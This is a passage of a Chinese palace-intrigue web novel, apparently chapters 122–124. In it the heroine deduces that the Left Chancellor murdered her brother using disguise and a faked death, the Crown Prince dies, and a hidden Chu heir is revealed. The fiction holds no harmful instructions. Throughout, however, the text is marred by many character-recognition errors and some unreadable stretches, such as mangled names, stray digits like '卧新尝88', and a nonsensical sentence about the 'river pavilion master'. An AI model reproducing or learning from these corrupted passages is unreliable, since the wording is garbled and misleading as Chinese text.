,兄长姜淳居心不良,不知用何手段才将匕首藏在身上瞒过了朱雀门所有禁军的眼睛?当真如此吗?真相会不会是,当年在朱雀门验明正身时的姜淳确实未携带凶器入宫,而真正藏有凶器的,另有其人疑云逐渐散开,初显露出肮脏如淤泥的谜底。苏言说,兄长的尸斑似乎起得比常人更早一些?不,或许是因为姜淳早就死在金云殿事变之前,死亡时间远远超过一到两个时辰,所以才起尸斑,而真凶为了刻意引导许作推测错姜淳的死亡时间,想让他们认定姜淳就是死在金云殿时,故而将姜淳的尸身曾放入过冰信中,以氐温延缓姜淳尸身的腐烂,这也是为什么苏言又说姜淳的尸体尤冷的原因。 董二说,兄长借尸还魂,尸身曾消失不见过? 但,那具送往监察司的尸身真的是姜淳吗?或许一切都错了,姜淳是入了宫过了朱雀门不假,但真正走入金云殿的却并非兄长,而是一个可以仿人面容的"赝品。 真凶极懂如何让人假死,就如同当年他在暗河众人面前亲手杀了谢循一般。真凶又懂用冰棺储藏尸身,就如同他也曾将谢循置入冰棺中,暗中移送至京城一样。而真凶也懂易容之术,有着和慕朝一样的技法,所以他既可以是暗河阁主,又能成为左相。姜时愿依靠着冰冷的石壁,知道谢循就在她的身后,缓缓地阖上美眸,推敲出来龙去脉, 三年前,是左相暗中给兄长和燕王送信,让他们互相以为是对方有要事求见,而后设局于金云殿中。我生辰宴那日,兄长入宫赶赴约定,先在朱雀门前验了正身。但,兄长却在入宫之后惨遭左相的杀手.她悲从心来,声音硬吧,“左相杀了见长,将他的尸身徽入冰棺之中,又伤装成兄长的漠样前往金云殿赴的,是左相故意刻伤了燕王,他故意留了燕王一命,目的就是想让燕王亲自指认兄长包藏祸心、刺伤皇子之罪,而后左相又如当年一般,饮下鸩酒,假死脱身。“还有监察司董二所验的并非是兄长的尸身,而是左相假死伪装的。是左相精心安排了一出戏,是他故意安排牙子上门催债,为自己脱身赢得时间。但他却没有料到,董二那日十分爽快地交了所有的房契地契,极快运回停房,发现“姜淳”的尸身不见,遂赶快和司间四散寻找。而在相浑然不知其中变故、很去的装,又将见长的只身放回停房,狸猫换太子。他正欲离开临察司之时,却块路相逢典狱的司使前往监察司要回课犯姜淳的只身、或许此时,左相才理然得知圣人将北案从监察司路交至典批手“而后,典狱带走了兄长的尸身,由苏言亲自验尸。“如果我椎测不错.这便是全部的真相。"她的双眼红润,如个怀免般的显得无助,她看向谢循,声泪俱下,“只是我不明白,兄长和左相无冤无仇又非政敌,他为何非要杀兄长不可.….谢循的声音溅起泠泠回响:“魉不惜自爆身份也要杀了宋清远,沈氏全族灭门,这两者皆有一个共性,就是他们知晓了暗河的太多秘密,所以左相动了杀心。“或许,姜学士也是如此.”谢循怕阿愿碎掉,说得极其轻微。“兄长绝不知晓的…”姜时愿捂着胸口,心痛犹如断弦裂帛,“阿兄与我大事小事无话不谈,从未瞒过我。阿兄知道的,定会告诉我。而我从未听闻,所以阿兄他绝对.不知晓.可愈说,姜时愿的心中就越没底气。她念起从前姜淳的反常,又忆起那日姜淳甚至还未来得及送她生辰礼就急欲进宫。这绝非兄长的做派 里 她怎么能忘了?兄长曾为左相的学子,或许他真的察觉到了什么? 兄长瞒她,骗她无事,或许是为了护住她不然三年前死的就绝非他一人了,还有她.….姜时愿. “不知晓”三字在她的舌尖打转,姜时愿心头狂颤,原来不知晓的从始至终皆是她一人。 她总是在姜淳的庇护下安然无恙、不问世事、安做闺阁之女,却不知寒鸦蔽日,兄长温润如玉的笑颜中早已暗藏着刀光血雨 兄长姜淳是如此,谢循也是如此。 他们总瞒着自己负重而行,她能瞧见的满院春色,欣赏花开美景,却不知花落残骸皆是他们以骨为篱,以血为露养出的. 瞒,欺,姜时愿最讨厌这种感觉,而今才有所顿悟。原来她恨的是一无所知的自己。姜时愿双肩微颤,略施粉黛的桃照上-行清泪淡天细粉,低头擦泪,掩藏酸涩,快步离开,谢循沉默无言,始终克制在不近不远的距离透迤在她的身后,陪着她离开典狱,看着她伶传独孤的身影脆在姜家祠堂中。而他却不敢再迈入一步,守在在祠堂外的青石板上,寸步不离。 青砖瓦黛,青烟袅袅。两个人身影一前一后,堂里堂外。暮色掠过佛龛和青铜香炉,同时也在酒下余辉在姜淳的灵位之上。微风拂过,撩姜时愿她云鬓的一缕乌发,风吹轻柔,让她念起了昔日和兄长相处的种种美好过往父母早逝,姜时愿的回忆中皆是兄长如父如母的身影。家仆们都赞兄长少年老成,天资英才,唯有她知晓,兄长不过二十鬓角却藏白发她想幼时每每做噩梦梦到兄长不在,醒来之时都能看见姜淳衣不解带地守在榻旁,紧握着她的手,头抵头,轻扶她的脊背,温声宽慰着,“别怕,阿兄一直都在,定不会离开阿愿半步。只要阿愿回首,就能发现阿兄就在你的身后,不曾走远。日影西斜,姜时愿抬手供香,敛起潋滟美眸,却见身后三丈,残阳日沐为一人的轮廓渡上赤金边,恍若兄长之姿“阿兄." 而今,物是人非,天人相隔,灵位相见。 甚至她还来得及亲手打开过兄长最后送她的生辰礼。 姜时愿又想起兄长所言:只要她回首,定能见到阿兄等于灯火处,接她归家 姜时愿思念难扼,泪珠涕下,迎着朝思暮想的身影走去。 随之残霞淡去,青年的半张脸从暮光中慢慢滑出。他虽没有兄长常含笑意的凤目,但凝向她的眸光十分相似,爱意深藏. 二人四目相接,半响无言,却胜过干言万语。 金乌将坠,漫天流霞。晚风急急,吹得二人的缎带漂浮跌宕不定."你会不会也像兄长一样,忽然有一天也会离我而去?“我的命是你的,甘愿为你.” 倏然,谢循的薄唇被姜时愿的两指抵住,只听她柔声道:“我不许你再讲后半句,我不想听。 姜时愿深知他们二人即将面临的乃是龙潭虎穴、尸骨无存的深渊,心中的担忧愈演愈烈,怕再无今日朝霞。 她怕,恐,忧,心之所动,素手抚摸上他的锦衣,俯身从樱唇呵出一口芝兰气息,吹向自己亲手所赐的伤口,“还疼吗? 谢循怔怔的,迟缓而不可思议得摇着头。这一切明明是他自作自受,应得的他明知不配救赎,就依旧渴求.姜时愿扬起螓首,望进他墨色瞳仁,似眷似怜,“谢循,你的命是我亲手所救,是生是死,也该由我亲自决定,知道吗?我不允许你再随意地弃自己的性命而不顾。 122 两个时辰后,姜时愿和谢循二人携手返回典狱晚风急急,陆观棋送来噩耗,宫中事变,太子危在旦夕“怎会这样?”姜时愿喃喃道。祁钰身中蛊毒命不久矣,她是知道的,但仍不敢置信这一天来得这么快,心念着为何偏偏会在此时?但比之祁钰,此时她更忧心的乃是眼前的谢循。谢循和祁钰的关系,超越君臣,更似挚友。但最后这层关系鲜有人知,甚至文武百官至今皆认为魏国公和太子素有不合,向来意见相悖,殊不知这一切都是为了演给他们和左相看的。陆观棋生怕谢循此时稳不住阵脚, 着急进宫。他该如何开口规劝? 主君现在可绝对不能进宫,左相视太子为眼中钉久矣,恨不得他早些命丧黄泉、大权旁落。如若谢循此时进言见祁钰最后一面,定会左相安插的眼线察觉端疑,接而怀轻他的“忠心”。所以,如今的主君不仅不能面露哀色,还要对祁钰的将死拍手叫好, 喊着大快人心。陆观棋正欲上前劝诫,却被姜时愿摇头示意,制止道,“他不会的." 她能感同身受谢循的痛苦,却无能为力。只能眼睁睁看着谢循玄衣墨发,依着朱栏,与这浓厚晦暗的夜色相融谢循抬首眺望着北面的皇城宫阙, 指尖摩挲过腰间祁钰曾赠于他的玉玦,睹物思人。棋差一步,输赢未定,故而黑白两子依然对势而立,不可松懈。只是谢循从未想过,连见祁钰的最后一面都要受制于人。谢循自诩权谋算计,谋略高深,可至始至终却从未救得了任何人。他救不了,被左相玩弄于股掌的魉,被他要挟逼迫的明嫩,被他设计暗害的祁钰,还有他的阿愿.他博了半生,从未有一刻如此挫败过。从头到尾,他,谢循,都没有走出过左相的棋盘。 玉玦坠地,魂如心碎。 而姜时愿却俯身拾起碎成两半的玉玦,一半交至谢循的手中,一半握在自己的掌心中,她的影子融于他的落影中,叠在一起,使得彼此不再显得孤独伶传她忽然轻声道:“我代替你去。左相认定你我之间有着血海深仇,视如仇敌。我入宫面见他太子,他定然不会怀疑到你的身上。“相信我,我们定能赢下这一局。 灯火如昼,谢循凉如寒潭的眼里出现了一名女子的身影。 此刻,他不再是子然一身。 夜色如墨,皇城魏魏,姜时愿马不停蹄地进入皇城,找到了哭得上气不接下气的祁灵萱,祁灵营见了姜时愿先扑入她的怀中狠狠哭了一阵,后听说姜时愿是为了再见祁钰一面而来,虽哭到四肢发软,但还是带着她来到东宫。只不过碰巧,祁钰的寝殿之中还有一位客人,便是祁王。姜时愿和祁灵宣侯在偏殿之中,珠帘相隔,依稀听到了些兄弟二人的交谈。祁钰气音虚浮,如同他所剩无几的命数一半,奄奄将熄。“父皇年迈,久病缠身,不能再料理国事。而燕王虽英勇善战,但输在年轻气盛,做事冲动。”说着说着,祁钰强撑病体,拍了拍祁政的肩膀,“而世人都称礼王从善如流、礼贤下士,恩威并重,本官走后,体君之位非皇弟莫“皇兄可千万不要这么说,皇弟一直仰仗皇兄,不奢求储君之位,只愿皇兄身体安康。”祁政忙不迭说到。祁钰闻言咳嗽连连,呕出鲜血,“本宫已向父皇请愿,在本宫离世的七日后定有父皇的旨意降下,立皇帝你为储君。还望皇弟能爱护庆国万民,保我庆国疆土。“皇兄臣弟并不负皇兄教诲。”祁政说得字字情真意切。祁钰挥了挥手,祁政噙着眼泪,磕了几个响头之后,拜别皇兄,离开东宫。这时祁钰的眼眸才望向珠帘之后,悠悠道:“出来吧。”话落,祁灵营再也按捺不住半跪在福前,扑入祁伍的怀中,哭着求着初轻不要舍她而去,“皇兄你定会无事的。我一定会让御医治好你,你不许舍我而去.皇兄答应过我的,你还要送萱儿嫁人呢,绝不能食言."”祁钰眼里满是不舍,枯槁的手抚摸着祁灵萱的云鬓,喉头攒动,“对不起,皇兄要食言了。他又将目光缓缓移至姜时愿的身上,溢出几个模糊的音节,“灵萱性子顽劣,随心所欲,行事多有不妥,但本性不坏。如果日后本宫不在人世了,还请姜司使替我照拂一二。他不再摆出储君姿态,微福下身子,“祁钰在此谢过姜司使。“皇兄.….”祁灵萱哭到。“太子殿下切莫这么说,臣定当好好照顾公主。"姜时愿亦跟着行下大礼。而后只见祁钰招手唤着她来到榻前,他的双眸浑浊,嗓音微黯,问道:“阿循,他可还安好?“魏国公一切都好,他无能来面见殿下,只能委托臣带给殿下一物。“ 姜时原拿出一分为二的碎玉,双手递给初钰,同时做不可查地红了眼眶,“魏国公说,来世还愿与段下相遇相识。但不再以君臣相称.只做对弃饮茶、共赏山河的知己好友。火苗忽明忽暗地颤着,祁钰指腹摩挲着玉的边缘,笑了,“他倒还先记挂上本宫了。只愿本宫走后,他还能护自己周全。"“本宫全部都知晓了,阿循的前半生过得太苦,尝遍了世间辛酸冷暖所以.….”他忽地看向姜时愿,声音凄凄,“如果有可能的话,本宫希望姜司使能将心中芥蒂,将恩仇烟消云散。和阿循携手天涯,不再踏入这纷争之地,可好?姜时愿沉默难言。祁钰微叹一声,又让祁灵萱跑去他书房暗阁中取一物交给姜司使,姜时愿见祁灵萱极快跑出正殿,转身问祁钰,“殿下要交给臣的是什么?祁钰:“本宫希望姜司使永不会用到此物,平安顺遂。但此物可以防姜司使日后生悔。“还有一件事情,本宫想告诉姜司使。"“殿下请说。祁钰强撑着病体,忆起往昔:“这事情我也曾于阿循说过,我们至今都不知暗河所求是什么,为何暗河执意颠覆大庆王朝?“本宫思来想去觉得此事或许与早已灭国的楚国有关。 “姜司使可还记得染美人?”经祁钰一点,姜时愿想起来那座被圣人下令严封的冷宫,重重宫阙中,曾锁着一个美人。祁灵萱曾跟她说过,住在此宫殿的女子乃是曾独占恩宠的染美人,也是掩藏身份的楚国余孽 ——璇玑公主圣人知晓柒美人的身份后雷霆大怒,斩断情丝,那年柒美人死在了帝王剑下,而她怀胎十月生下的皇子也被圣人无情地勒令杀死。祁知重重咳了几声,“本宫一直在想或许当年柒美人和父皇的孩子并没有死,而是被人暗中偷梁换柱、送出京城、这也可以解释为何暗河也着于大庆皇室,或许左相的目的是想掺着京中大司,扶持当年染美人诞下的皇子登基 改朝换代。 “本宫有心力查此事,奈何时日无多。 祁钰面色苍白,斜躺在榻上,气息也随之渐渐微弱,“本宫死后免不了朝野动荡、血雨腥风,为了不让暗河有可乘之机,所以本宫才执意要父皇尽早再立礼王为储君。 储君之深谋远虑,令姜时愿无比动容,无比钦佩。 精通医术的她如何不知道祁钰的身子已亏空殆尽,濒近极限,只不过祁钰不甘也不敢就此撒手人寰。 姜时愿不愿再看他辛劳强撑,重重跪拜在地,双手交叠,“殿下如果累了还请安心离去,臣和谢循会继承殿下遗志,势与暗河不死不休,保大庆江山社稷不会毁于好佞之手。 祁钰笑了,缓缓阖上双眼,唯留下一句肺腑之言。 “一切全仰仗姜司使和魏国公了。 “殿下殿下”,姜时愿急忙去探祁钰的脉搏,可已无力回天,她跪在祁钰的身前拜了三拜。碰巧此时祁灵萱抱着锦盒归来,只见祁钰面容恬静,走得安详,她失魂落魄地步步走到祁钰身前,悄脸轻轻地放在祁钰的腿膝之上,泪水无声落下,咽唔着,唤着皇兄。怀中的锦盒咔嗒一声落在,露出一卷丹青铁卷。也不知过了多久,姜时愿才抱着祁钰所赐的丹青铁卷走出内殿,步伐一深一浅,魂不守舍地缓缓移步走下白玉长阶凄凉月色,满是哀伤,她俯瞰着东宫上下内侍宫女跪在青石板两道,悲恸的哭声此起彼伏,都是在为祁钰而哭。而姜时愿不敢回望来时路,默默留下两行清泪,为曾经的储君哀悼。事已至此,哪怕遍体鳞伤、满身血痕,她也得走下去,为了所有不该枉死的冤魂,为了无辜的庆国万民,为了他们的遗志所愿,她必须让着一切水落石出。哀钟遍鸣,夜震庆宫。姜时愿走出独上高楼,站在夜风最盛的地方,她的手中持一支骨白色的短哨,抵在唇边,无声地吹响。不消片刻,感觉到有人的临近,哨声夏然而止。她冷然转身,墨发飞扬,看着慕朝站在她的身后,听着他依旧温柔地问她,"小姐,唤我何事?姜时愿看着他时,神色复杂,过了许久之后才徐徐开口:“我想问,你究竟是谁?“小姐这是何意?”慕朝半张脸融于夜色,声音听不出喜怒,朝她走近,“我是慕朝,也是千人面。而姜时愿也随着他的临近,轻挪莲步,眼神充满警惕,“我的意思是撇开千人面和慕朝的身份,你原本的身份究竟是什么?“如今我才想起来永安公主曾与我讲过一个密谈,你可想听?"“小姐请说。" “她说,楚国皇室中出过一名神秘的天师,此天师有神通,能断人生死,巫蛊之术也是起源于他,而且听说此人有千万面相。’姜时愿仔细观察着眼前同样也有着干万面相的人,柳眉紧锁,单薄的脊背抵至冰冷的城墙上,借力才勉强站稳,“你为何会易容之术?为何左相他也会易容之术?她的指尖冰冷,葱玉白指深入石壁的缝隙之中。“我为何没有早点想通,或许左相就是楚国皇室那名神秘的天师?而你慕朝的皮相变幻皆是师承于他。"姜时愿深深凝气,“你之所以潜逃躲藏入皇陵数年,或许就是不想叫人发现你的存在。而左相之所以愿意将易容之术传授于你,是因为.…"“是因为你就是当年柒美人生下的那位皇子,也是楚国最后的皇室血脉。 123、123 .. 哀钟遍鸣,夜震庆宫,昭告天下。哀痛的丧钟飘,至内宅深处却格外得令一人心神陶醉。左相跟着钟声律动惬意地捻着手上的佛珠,眼角深深的纹路满是显露的笑意。听着愈来愈近的脚步声,左相放下手中佛珠,问道:“影子,本相先前交代你的事情办得如何了?",他放眼看着来人跪在他的脚下,似笑非笑。谢循的声音无喜无怒,平淡如水,“依着义父的吩咐,三司六部半数官员都安插入了我们的人,各要员大臣的宅邸也已派细作潜入。”“大庆朝堂已成义父的囊中之物,只需义父一声令下,大庆就可换主。左相特着山胡须背过身去,负手而立,“本相已经得到密报,七日后狗皇帝会在文武百官及万民的面前所立礼王为新的储君。呵,七日之后,本相要让那狗皇帝亲眼看见他的大权旁落,江山易主,才不负本相筹谋多年、卧新尝88!他蔑视着画像之上的帝王,放肆大笑,“我定要让他尝尝此生最痛的惩罚,让他也感同身受灭国之痛!"左相笑着饮下烈酒,颤颤魏巍走进玉屏,苍老的手抚摸上锦绣山河,可惜美景永恒地纂刻在青玉之上,不复存在。他数十年不敢忘灭国之辱,不敢忘庆军踏入国土后的血流成河、尸骸遍野之景他更不敢忘记璇玑公主自知身份败露,跪在冷砖上,临终托孤,“国师是我糊涂,没能替楚国复仇,更是爱上了仇人。我罪孽深重也难逃一死,本无颜再见国师,但还请国师看在我儿乃是最后的楚国血脉上,救他一命。送他出宫,不要让他再踏入纷争之地,也不要让他如我一样为仇恨而活。 璇玑公主的孩子,乃是楚国的最后一脉,更是他复国的希望他绝不能允许殿下有失,所以他赶在庆帝之前,狸猫换太子,保住了殿下一命。新仇旧恨夜夜点燃他的心,左相碾碎掌心中的佛珠,细细齑粉从掌中落下,“殿下放心,老臣不惜此命也定会将你送上皇位,兴复楚国!“这一天殿下和老臣都等了太久了."左相府中暗流涌动,而另外一边城墙之上,姜时愿和慕朝亦在僵持焦灼,彼此试探"已至此,你还有何话可说。“姜时愿看着幕朝,“难经你对曾经的过往避而不谈,难经你从始至终都在用别人的面相和身份而活。是因为庆国绝无你的容身之处,陛下更不会容许身上共同流着楚国和庆国皇室的血咏存活在这个世上。暗色之中的募朝眸色沉沉,再睡不出半点风流神色,他浑然变了一个人,俯瞅着脚下如棋盘铺展开的京城。正如姜时愿所说,于门万户,却无他容身之地,他失色地笑了笑,赞许道:"小姐果然现慧看破了我的身份,不错,庆帝是我的父皇,柒美人则是我的母妃。“小姐,你可知我的前半生?东躲西藏、居无定所。"为了活命,我逼不得已学会秘术,窃取他人的面容和身份。”慕朝领身向前,凛列夜风端过他的脸颊,“世人皆叹千人面有万般变幻、神出鬼没,却不知他本人极厌这个身份。如果可以正大光明地活在这美好的盛世之中,谁又愿抛弃姓氏,苟活在腌臜阴暗中呢?”“如今身份被看破,我倒觉得前所未有的轻松。”慕朝眉间松动,甚是舒朗地笑了笑。姜时愿看着他落寞的背影藏着难以言说的孤寂,“慕朝你曾说过会告诉我你所有的过往,只要我想听。这句承诺,可还作数?"“自然,我说过,只要小姐感兴趣,”募朝就着冰冷的石阶坐下,身旁还余着一人的空位,姜时愿走向他,撩起衣裙,慢慢坐了下来,与他不可思议的目光相对,听着他颤着声,“"小姐为何还愿意与我坐在一起?我曾以为小姐会厌弃我、害怕我,视我如祸国之人姜时愿不知如何作答,她确实曾害怕眼前来路不明的慕朝,更是对他的真实身份而忌惮惶恐可是一个人的身份真假与否,又能决定的了什么呢? 敢问世人,哪人心中不藏秘密,哪个人又不是披着"假面''而活。 她总是忌惮着他们不肯以真面目示人,却疏忽了看清他们的真心。 谢循是如此,慕朝也是如此。 她熟知的慕朝是会颠覆社稷、让万民流离失所之人吗?姜时愿眼下能明确地给出答案,“我不相信你会这样的人。我认识的慕朝心性单纯善良,甚至还总是会偷偷的害羞脸红.…,不是吗?她笑靥如花,温声道,“慕朝,作为朋友,我想了解你所有的过往。”慕朝喜极而泣,脸深埋在臂窝之中,闷闷地应出“好” “当年究竟是怎么回事,左相是如何救下的你? “我也是听乳娘提过当年之事。“乳娘?"随后幕朝混娓道来,他的到娘前半生乃是楚国的镇北侯之女,清河群主。奈问国破家灭,一朝以天之骄女沦为俘虏,后被卖入供责青公子取乐消道的清乐坊,受人欺辱,痛不欲生,幸得三年后,被左相救下,从此成为左相手中-员,只听他的调遣。乳娘曾告诉慕朝,当年一封密信揭穿了圣眷独宠的柒美人的真面目,圣人闻之大怒,好在宫中早就暗布眼线,圣人的风,吹草动皆会传到左相的耳朵下左相听闻事情败露,忙不迭赶来见了祁美人最后一面,临危受命,遂吩咐乳娘从百户中找来一位刚出生不久的婴儿与祁美人的孩子调换,狸猫换太子,替他受死,从而瞒过帝王。而乳娘则带着慕朝远走高飞。逃出京城之后,乳娘为了让募朝有保命之技,故将楚国皇室秘法一易容之术传于他,却没料到在选亡途中,乳娘威染疫病,不治身亡,从此仅有幕朝一人存活于世。他依靠着易容才勉强活在庆国土壤上,他伤装过许多人,学子、富商甚至官员。“我最后用的便是采花贼慕朝的身份,原以为这个身份能撑数年不被发现。却没想到真正的慕朝淹死在了护城河中,而我也因此被典狱盯上。慕朝的声音忽然沉了下来,“典狱紧咬着不放,我怀疑是不是谢循发现了什么,我听过谢循的威名,世人皆赞他为在世狄公、断案如神,因此我不得不谨慎小心,才逼不得已潜入谁都意想不到的皇陵。“原来是这样。”姜时愿也逐渐理清思绪,回想起和慕朝初见之时,“所以你是为了躲避谢循才选择躲在皇陵,只是你没想到那夜我会突然潜入南陵,发现了你。姜时愿蹙眉沉思,“那你和左相这二十年间,可有往来?"“我和左相从无往来。”慕朝摇着头,“他从未找过我,我也从未寻过他。从无往来?不知为何,姜时愿听闻这话,心里莫名腾起一股说不明道不清的荒诞之感慕朝颜发垂下,略有落真地应着声,“思恩怨怨,纠缠不清。我离恨庆帝亲手逼死了我的母妃,恨不得将他千刀万到,想进宫为母报仇。但还请小姐信我,我办怜构世间万民,知烧他们的无辜,不愿他们再经历与我一样的悲欢离合、国仇家灭。” “楚国灭国已是定局和过往,我不愿再看到刀光剑影、尸骸遍野。所以,我从未想过复国。此言,他发自肺腑,又顿了顿,“更何况庆国是你的故土,我怎么舍得让你流离失所。"慕朝眸光真挚凝着姜时愿清丽的面容,伸手,在触及她的桃腮前,顿下,垂下眼眸也随之弯起手指,缩回难以启齿的爱意。他很想说,他的爱意没有输给任何人。但他也知,这些话令她为难。 夜色渐深,谢循才方从左相府里离开,天气多变,下起烟雨,而他无心擒伞,孤身走在幽暗深邃的街巷中,眸色黯沉。哪怕徒步走回典狱,谢循也依然没能想清楚心中疑云,陆观棋见谢循归来,忙不迭问道如何。边思边道,谢循摩挲着 白玉棋子,视线紧锁在残局之上,七日之后,册封大典,左相恐怕会有动作我们也雲提前筹谋谢循执掌典狱数年,早已分清哪些是他特意留给左相的眼线,哪些又是他暗中培养的心腹,又紧着递给陆观棋一个名册,"名册之中的皆是可信之人,你去安排。"他接着分派他们职责,“一则,让他们严密打探左相近日的动态,事无巨细向我汇报。二则,寻人连夜出京,探听各方水师及军师动向,特别是有无兵变,三则,派探子潜入我所罗列的要员府邸,控其亲属、亲眷。"左相老奸巨猾、算无失计,特别是筹谋数十年定会给自己留有退路。“谢循想象着对面坐着的乃是与他对弈的左相,眼里藏着肃杀,落下的白子围住黑子四周,“还是得找到决定性的证据,向世人昭示他的罪行。 “只是还有一事,我始终想不明白。" 谢循坐在支摘窗前,梨花簌簌而落,夜色渐退,记忆也随之倒退 谢循二十余载的前半生历经波折,先是魑,再是魏国公,最后是沈浔。这三重身份,三段截然不同的经历皆是拜左相所赐。如今想来,他的半生皆被左相困于迷境中,但随之也在自醒、挣扎、斗争。在他仍是魑之时,便察觉天外天不过是个幌子,实则为暗河的附属,暗中搜寻孤儿和贱奴训练为杀手。由此深挖,他查到了更为认吸的事情,他的思人-一婚河留主不过是个物头物尾的传君子,图主不仅以黑慢控众人,更有逆反之心。为了的离阵措,他我到了颌有权势的御史大夫沟湿合作,却没想到还导惨败干图丰失败令他再一次有了自醒?为何当朝御史大夫揭发暗河的密信迟迟抵达不至圣人的眼前,是不是说明京中另有高人,或者说阁主还有另一层掩藏的身份。那个身份位高权重,甚至远超于沈煜?可哪怕他想清了背后的谜题,却难以承受失败的代价。他被左相血滴蛊抹过记忆,再次受他蒙蔽,由魑变为魏国公。可惜左相依然不懂养虎为患的道理。他,谢循,绝不是任人摆布之人。自从再见左相的第一面开始、唤他义父时,谢循就再不能放下对他的猜疑。棋盘乍看风平浪静,实则暗流汹涌。慢慢的,他再次察觉到了左相的和暗河之间不可告人的秘密,更甚怀疑暗河阁主就是左相。沈氏灭门,姜家蒙冤,他皆想到其中定有左相的手笔。为了验证猜想,他放出沈氏余孤还存活于世的饵料,引出伏深处的暗河,以身入局。一场任谁也无法想到的变故,蛊毒发作,让谢循变成沈浔。虽令他再次失去记忆,但却也彻底打乱左相的棋路,逃脱。 所以,因此变故,如今棋路的走势已不在左相的谋算之中。下棋人与棋子位置相互调换,掌局者易主,而左相被困雾中仍未察觉三年后,沈氏旧案重提。他和阿愿赶赴洛州,也是在那时,他意外察觉到了慕朝的身份。他的记忆恢复后,更是经祁钰点拨下终于想通左相的全部阴谋。左相创立暗河筹谋多年就是推翻庆帝,将九五之尊的龙宫捧给染美人之子,从而光明正大地兴复楚国. 所以没错的话慕朝就是当年祁美人和圣人的孩子,也是左相效忠的殿下。可经洛州之行后,谢循便格外留意慕朝的一举一动。所以,他十分确信慕朝和左相从无接触,也无书信来往。这也便是谢循一直想不通的疑点。一个忠心耿耿的臣子,怎会数年对他唯一的君主不闻不问?特别七日后,若没有流淌着楚国血脉的慕朝,左相如何借口发动政变及国战,又谈何复楚国? 124、124 陆观棋候一旁多时,只见谢循枯坐支摘窗前,一身月白袍素雅又孤寂,眼神紧锁着棋盘上的墨玉棋子,黑白交锋,呈焦灼之势。这是他鲜少看见谢循举棋不定,迟迟不敢落子。 典狱和左相之间必定有场腥风血雨,成王败寇,再所难免。 任谁都难知成败。 所以,陆观棋正欲福身退下之时,又多嘴问了一句,问道:“七日之后,左相许会挑起宫中事变,此事可要让姜司使知晓?” 谢循没有正面回答而是反问,“如果是陆案吏该如何抉择,你会不会让陆不语知晓?” “不会。”陆观棋斩钉截铁,“陆某愿为主君鞠躬尽瘁死而后已,但这场斗争绝对不会波及到阿弟。阿弟知道得越少,对他而言越是安全。陆某会寻个理由,尽早将他送离出京。” 谢循眼峰扫向窗外雨幕如织,薄情月光凄美哀绝,徒增伤感。他既担忧棋盘上生死不明的对弈,又想起雨夜时和姜时愿的生死决裂,再不敢也不想隐藏欺瞒她… 谢循不知如何抉择,指尖来回摩挲着墨玉棋子,又听陆观棋催促着“还请主君尽快作出决断,时间不多了。”闻言,他更甚有力地捻着棋子,墨玉彻底碎裂。 “主君。” 倏然,当陆观棋又欲开口时,零落的花瓣和微雨随着门扉的推开倒灌进来,绣着金云滚边的杏色裙踞略过门槛上未干的水痕,轻柔的声音顺势响起,“不知魏国公和陆观棋方才在商讨何事,可否与我一起商议?”她的目光淡淡地扫向沉默不言的二人。 最终还是陆观棋骑虎难下,福身离开,唯留谢循一人在庭内和姜时愿对峙。其实方才陆观棋和谢循的交谈姜时愿全部听到了,故而才不恰时宜地推门而入,她怕她再晚一会儿,谢循又会选择欺她瞒她,并独自面对和承担惊涛。姜时愿不愿再作壁上观,她亦可以与他同甘共苦、生死与共,她步履缓缓走到谢循面前,见他始终目光躲避。她握住他的手,领他下向棋盘。棋子与棋盘相触,棋局才算落定。 “我不知道若我方才没有贸然闯入,你会作何决定?”姜时愿抬手扬起谢循低垂的脸,因此才终于得以看清他眼中的愧意和如困兽般的无助,看来如她所想一致,如果不是她及时出现,谢循怕又是会将她推开。 "方才的是我可以既往不咎。但眼下,我要你再许下一个诺言。" “我要你答应我,无论遇到何事,绝不可再欺我瞒我。否则…”她接下来的声音轻微,“我此生绝对不愿原谅你,余生都会恨你、怨你。” 谁料,话音甫落,她看见谢循垂首偷笑,又嗔怒,“有什么好笑的.” 谢循偷嗅着她身上散来的水密香,悄悄临近温香软玉,“姜司使狠话放得太轻,倒叫谢某占了便宜?恨,总比视而不见、相忘于世来的好。” 姜时愿不知他哪来的心情说笑,正欲责怪,却见谢循忽然从罗汉榻上起身,单跪在他的面前,牵着她的柔荑,额间贴上,许下重诺,“我答应你,此生再也不欺你瞒你。”而后,谢循在心里轻轻唤着,阿愿。 他的前半生曾被恩情裹挟,许下过至死不渝的重诺。而此次,他为了爱意,心甘情愿俯首称臣。 这个晚上,姜时愿和谢循二人秉烛夜谈。 姜时愿将今天和慕朝会面的事情说于谢循,说慕朝已经承认他就是柒美人的孩子。还有,慕朝也并不知道左相就是暗河阁主,二人之间也从无书信来往… 谢循根据自己多年来对左相的了解和姜时愿揣测左相的计谋。他猜疑七日后的朝堂之上,左相应会赶在崔广事宣读圣人再立储君的圣旨前,发动宫内宫外的兵变,逼迫余下的三司六部官员归降,再推举楚国皇室唯一的血脉上位。所以,谢循才会让陆观棋提前部署,注意军师动向以及暗中派人潜入其下要员的府邸。 这是谢循目前仅能想到的,但不知左相是否还留有后手? 谢循挽起墨袖,再度添满灯油,“我怕七日后左相见局势不利或者听闻风声,会故意按兵不动、再寻时机。可此祸患绝不能再留,阿愿,我们必须找到决定性的铁证,在文武百官面前举证左相就是暗河阁主。" “眼下唯有人证.”谢循话还没说完,就被姜时愿厉声打断,“你莫不想说唯一的人证是你?” 谢循要指证左相就是暗河阁主,就必须先在文武百官面前摘下‘面具'',告诉世人他来自暗河,曾是杀手,也是四绝之一的魑。 世人对暗河绝不容忍,又对四绝深恶痛绝。 谢循一旦自爆身份,唯有死路一条。 姜时愿深知这一点,再也无法冷静,“绝不可以,你绝对不可以自爆身份。还有七日的时间,相信我,我一定能找到其他证据!不用你身涉险境,我们亦能扳倒左相。”“谢循,你答应过我的不再随意弃性命而不顾。”姜时愿眸光盈盈,生怕消不了他的念头,又故意放些最毒的狠话,“不然…我真的…不会再原谅你。” “你就负责为七日后部署,余下的就交给我。” “知道了。”谢循笑着,沉沉应声。 * 整整三日,姜时愿将自己关在阁中,不吃不喝,不肯有一丝松懈。雕花窗棂飘入半腐烂的落花,虽是春日,气温依然低迷,迟迟不肯化暖。 姜时愿虽然嘴上底气十足,可她骗不过自己惴惴不安的心。她的心狂颤,在暗里告诉她时间紧迫、希望渺茫,左相如此周密、杀伐果断的一个人,怎会轻易给她留下证据? 几上、榻上、青石砖上的水纹纸散落一地,或有她撕碎的,或有她揉皱的,或有她涂涂改改的而又扔弃…她昼夜不肯停歇地思索每一处,却未找到任何蛛丝马迹… 姜时愿思绪很乱,她想不出左相会给她留下什么证据… 她更担忧,如果她找不到铁证的话,谢循…又该如何?他会毅然决然地选择舍弃自己吗,不,他明明答应过自己的,生死只由她决定。 